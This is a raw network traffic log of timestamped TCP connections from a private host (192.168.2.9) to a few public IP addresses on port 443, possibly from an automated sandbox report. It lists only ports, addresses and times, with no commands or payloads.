Oct 26, 2024 13:46:09.820708036 CEST	443	49817	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.822474957 CEST	49818	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.822521925 CEST	443	49818	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.822590113 CEST	49818	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.874547005 CEST	49818	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.874569893 CEST	443	49818	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.890151024 CEST	443	49815	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.891052961 CEST	49815	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.891083956 CEST	443	49815	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.892126083 CEST	49815	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.892132044 CEST	443	49815	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.892513990 CEST	49819	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.892573118 CEST	443	49819	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.892746925 CEST	49819	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.893357992 CEST	49819	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.893393040 CEST	443	49819	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.908468008 CEST	443	49816	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.911631107 CEST	49816	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.911663055 CEST	443	49816	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:09.912166119 CEST	49816	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:09.912170887 CEST	443	49816	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.018583059 CEST	443	49815	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.018637896 CEST	443	49815	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.018707037 CEST	443	49815	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.018754959 CEST	49815	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.038172960 CEST	443	49816	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.038371086 CEST	443	49816	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.038449049 CEST	49816	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.309575081 CEST	49815	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.309593916 CEST	443	49815	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.309606075 CEST	49815	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.309612036 CEST	443	49815	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.321611881 CEST	49816	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.321655989 CEST	443	49816	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.336122990 CEST	49756	443	192.168.2.9	142.250.184.228
Oct 26, 2024 13:46:10.336143017 CEST	443	49756	142.250.184.228	192.168.2.9
Oct 26, 2024 13:46:10.343766928 CEST	49820	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.343806982 CEST	443	49820	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.343920946 CEST	49820	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.344762087 CEST	49821	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.344801903 CEST	443	49821	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.344878912 CEST	49821	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.344907999 CEST	49820	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.344923019 CEST	443	49820	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.361380100 CEST	49821	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.361396074 CEST	443	49821	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.555299997 CEST	443	49817	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.555793047 CEST	49817	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.555824995 CEST	443	49817	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.556236029 CEST	49817	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.556245089 CEST	443	49817	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.638691902 CEST	443	49819	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.639471054 CEST	49819	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.639503956 CEST	443	49819	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.640006065 CEST	49819	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.640011072 CEST	443	49819	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.650552988 CEST	443	49818	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.651097059 CEST	49818	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.651122093 CEST	443	49818	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.651555061 CEST	49818	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.651562929 CEST	443	49818	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.689409018 CEST	443	49817	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.689583063 CEST	443	49817	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.689640045 CEST	49817	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.700196028 CEST	49817	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.700217962 CEST	443	49817	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.700249910 CEST	49817	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.700257063 CEST	443	49817	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.703437090 CEST	49822	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.703516006 CEST	443	49822	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.703696012 CEST	49822	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.703893900 CEST	49822	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.703911066 CEST	443	49822	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.766968012 CEST	443	49819	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.767047882 CEST	443	49819	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.767106056 CEST	49819	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.767133951 CEST	443	49819	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.767174959 CEST	443	49819	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.767231941 CEST	49819	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.767344952 CEST	49819	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.767358065 CEST	443	49819	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.767385006 CEST	49819	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.767393112 CEST	443	49819	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.770340919 CEST	49824	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.770392895 CEST	443	49824	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.770458937 CEST	49824	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.770647049 CEST	49824	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.770668983 CEST	443	49824	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.781258106 CEST	443	49818	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.781383038 CEST	443	49818	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.781440973 CEST	49818	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.781490088 CEST	49818	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.781505108 CEST	443	49818	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.781516075 CEST	49818	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.781521082 CEST	443	49818	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.783829927 CEST	49825	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.783886909 CEST	443	49825	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:10.783953905 CEST	49825	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.785698891 CEST	49825	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:10.785728931 CEST	443	49825	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.097256899 CEST	443	49821	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.097722054 CEST	49821	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.097743988 CEST	443	49821	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.097866058 CEST	443	49820	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.098213911 CEST	49821	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.098220110 CEST	443	49821	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.098536968 CEST	49820	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.098557949 CEST	443	49820	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.099198103 CEST	49820	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.099208117 CEST	443	49820	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.227003098 CEST	443	49821	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.227175951 CEST	443	49821	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.227346897 CEST	49821	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.227639914 CEST	49821	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.227639914 CEST	49821	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.227659941 CEST	443	49821	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.227696896 CEST	443	49821	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.228912115 CEST	443	49820	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.230035067 CEST	49826	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.230067015 CEST	443	49826	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.230207920 CEST	49826	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.230370998 CEST	49826	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.230386019 CEST	443	49826	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.230926037 CEST	443	49820	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.230984926 CEST	49820	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.231009007 CEST	443	49820	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.231035948 CEST	443	49820	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.231089115 CEST	49820	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.231089115 CEST	49820	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.231116056 CEST	49820	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.231129885 CEST	443	49820	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.232979059 CEST	49827	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.233071089 CEST	443	49827	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.233186960 CEST	49827	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.233402967 CEST	49827	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.233441114 CEST	443	49827	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.444365978 CEST	443	49822	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.444785118 CEST	49822	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.444818020 CEST	443	49822	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.445337057 CEST	49822	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.445347071 CEST	443	49822	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.516587973 CEST	443	49825	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.520469904 CEST	49825	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.520507097 CEST	443	49825	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.520967960 CEST	49825	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.520976067 CEST	443	49825	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.522849083 CEST	443	49824	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.523169041 CEST	49824	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.523190975 CEST	443	49824	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.523623943 CEST	49824	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.523629904 CEST	443	49824	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.575658083 CEST	443	49822	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.575845957 CEST	443	49822	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.575928926 CEST	49822	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.577290058 CEST	49822	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.577313900 CEST	443	49822	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.577327967 CEST	49822	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.577336073 CEST	443	49822	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.583132982 CEST	49828	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.583205938 CEST	443	49828	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.583288908 CEST	49828	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.583659887 CEST	49828	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.583693027 CEST	443	49828	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.645929098 CEST	443	49825	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.646094084 CEST	443	49825	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.646174908 CEST	49825	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.657835007 CEST	49825	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.657835007 CEST	49825	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.657917976 CEST	443	49825	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.657952070 CEST	443	49825	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.672914028 CEST	49829	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.672945023 CEST	443	49829	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.673013926 CEST	49829	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.673218966 CEST	49829	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.673234940 CEST	443	49829	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.740246058 CEST	443	49824	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.740433931 CEST	443	49824	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.740808964 CEST	49824	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.747117043 CEST	49824	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.747138023 CEST	443	49824	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.747148991 CEST	49824	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.747154951 CEST	443	49824	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.775950909 CEST	49830	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.776041985 CEST	443	49830	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.776112080 CEST	49830	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.777939081 CEST	49830	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.777990103 CEST	443	49830	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.988769054 CEST	443	49826	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.990343094 CEST	443	49827	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.992139101 CEST	49826	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.992151022 CEST	443	49826	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.992625952 CEST	49826	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.992630005 CEST	443	49826	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.992918015 CEST	49827	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.992986917 CEST	443	49827	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.993448973 CEST	49827	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:11.993463993 CEST	443	49827	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:11.999191999 CEST	49704	443	192.168.2.9	23.206.229.209
Oct 26, 2024 13:46:11.999511957 CEST	49704	443	192.168.2.9	23.206.229.209
Oct 26, 2024 13:46:11.999864101 CEST	49831	443	192.168.2.9	23.206.229.209
Oct 26, 2024 13:46:11.999911070 CEST	443	49831	23.206.229.209	192.168.2.9
Oct 26, 2024 13:46:12.000003099 CEST	49831	443	192.168.2.9	23.206.229.209
Oct 26, 2024 13:46:12.005083084 CEST	443	49704	23.206.229.209	192.168.2.9
Oct 26, 2024 13:46:12.005098104 CEST	443	49704	23.206.229.209	192.168.2.9
Oct 26, 2024 13:46:12.009808064 CEST	49831	443	192.168.2.9	23.206.229.209
Oct 26, 2024 13:46:12.009856939 CEST	443	49831	23.206.229.209	192.168.2.9
Oct 26, 2024 13:46:12.121536970 CEST	443	49826	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.121576071 CEST	443	49826	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.121617079 CEST	49826	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.121627092 CEST	443	49826	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.121639013 CEST	443	49826	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.121680975 CEST	49826	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.121783972 CEST	49826	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.121797085 CEST	443	49826	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.121805906 CEST	49826	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.121810913 CEST	443	49826	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.122834921 CEST	443	49827	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.122971058 CEST	443	49827	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.123110056 CEST	49827	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.123292923 CEST	49827	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.123292923 CEST	49827	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.123369932 CEST	443	49827	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.123399019 CEST	443	49827	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.125072002 CEST	49832	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.125104904 CEST	443	49832	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.125252962 CEST	49832	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.126660109 CEST	49833	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.126697063 CEST	443	49833	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.126776934 CEST	49833	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.126867056 CEST	49832	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.126880884 CEST	443	49832	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.127734900 CEST	49833	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.127751112 CEST	443	49833	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.310111046 CEST	443	49828	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.310671091 CEST	49828	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.310766935 CEST	443	49828	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.311064005 CEST	49828	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.311080933 CEST	443	49828	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.409974098 CEST	443	49829	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.418778896 CEST	49829	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.418800116 CEST	443	49829	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.419250965 CEST	49829	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.419255972 CEST	443	49829	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.437772989 CEST	443	49828	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.437870979 CEST	443	49828	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.438000917 CEST	49828	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.438103914 CEST	49828	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.438139915 CEST	443	49828	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.438170910 CEST	49828	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.438186884 CEST	443	49828	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.442435980 CEST	49834	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.442476034 CEST	443	49834	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.442634106 CEST	49834	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.443146944 CEST	49834	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.443160057 CEST	443	49834	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.515615940 CEST	443	49830	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.518886089 CEST	49830	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.518954039 CEST	443	49830	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.519421101 CEST	49830	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.519435883 CEST	443	49830	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.546521902 CEST	443	49829	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.546669960 CEST	443	49829	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.546730995 CEST	49829	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.546973944 CEST	49829	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.546982050 CEST	443	49829	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.546991110 CEST	49829	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.546994925 CEST	443	49829	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.555634975 CEST	49835	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.555670023 CEST	443	49835	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.555766106 CEST	49835	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.556485891 CEST	49835	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.556500912 CEST	443	49835	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.646303892 CEST	443	49830	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.646379948 CEST	443	49830	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.646462917 CEST	49830	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.646501064 CEST	443	49830	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.646531105 CEST	443	49830	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.646588087 CEST	49830	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.646893024 CEST	49830	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.646913052 CEST	443	49830	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.646929026 CEST	49830	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.646935940 CEST	443	49830	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.652359009 CEST	49836	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.652405024 CEST	443	49836	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.652781010 CEST	49836	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.652995110 CEST	49836	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.653013945 CEST	443	49836	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.705763102 CEST	443	49831	23.206.229.209	192.168.2.9
Oct 26, 2024 13:46:12.705837965 CEST	49831	443	192.168.2.9	23.206.229.209
Oct 26, 2024 13:46:12.886008024 CEST	443	49833	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.886805058 CEST	49833	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.886827946 CEST	443	49833	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:12.887293100 CEST	49833	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:12.887298107 CEST	443	49833	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.016854048 CEST	443	49833	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.017026901 CEST	443	49833	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.017091990 CEST	49833	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.017421961 CEST	49833	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.017443895 CEST	443	49833	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.017458916 CEST	49833	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.017466068 CEST	443	49833	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.020668030 CEST	49837	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.020710945 CEST	443	49837	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.020833015 CEST	49837	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.020984888 CEST	49837	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.021003008 CEST	443	49837	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.080291986 CEST	443	49832	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.081895113 CEST	49832	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.081909895 CEST	443	49832	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.082462072 CEST	49832	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.082467079 CEST	443	49832	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.163115025 CEST	443	49834	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.163608074 CEST	49834	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.163628101 CEST	443	49834	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.164386034 CEST	49834	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.164392948 CEST	443	49834	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.213764906 CEST	443	49832	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.213845015 CEST	443	49832	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.213938951 CEST	49832	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.214102983 CEST	49832	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.214118004 CEST	443	49832	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.214167118 CEST	49832	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.214173079 CEST	443	49832	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.221329927 CEST	49838	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.221369028 CEST	443	49838	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.221431971 CEST	49838	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.221739054 CEST	49838	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.221754074 CEST	443	49838	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.288988113 CEST	443	49835	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.289479017 CEST	49835	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.289511919 CEST	443	49835	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:13.290023088 CEST	49835	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:13.290030003 CEST	443	49835	13.107.246.42	192.168.2.9
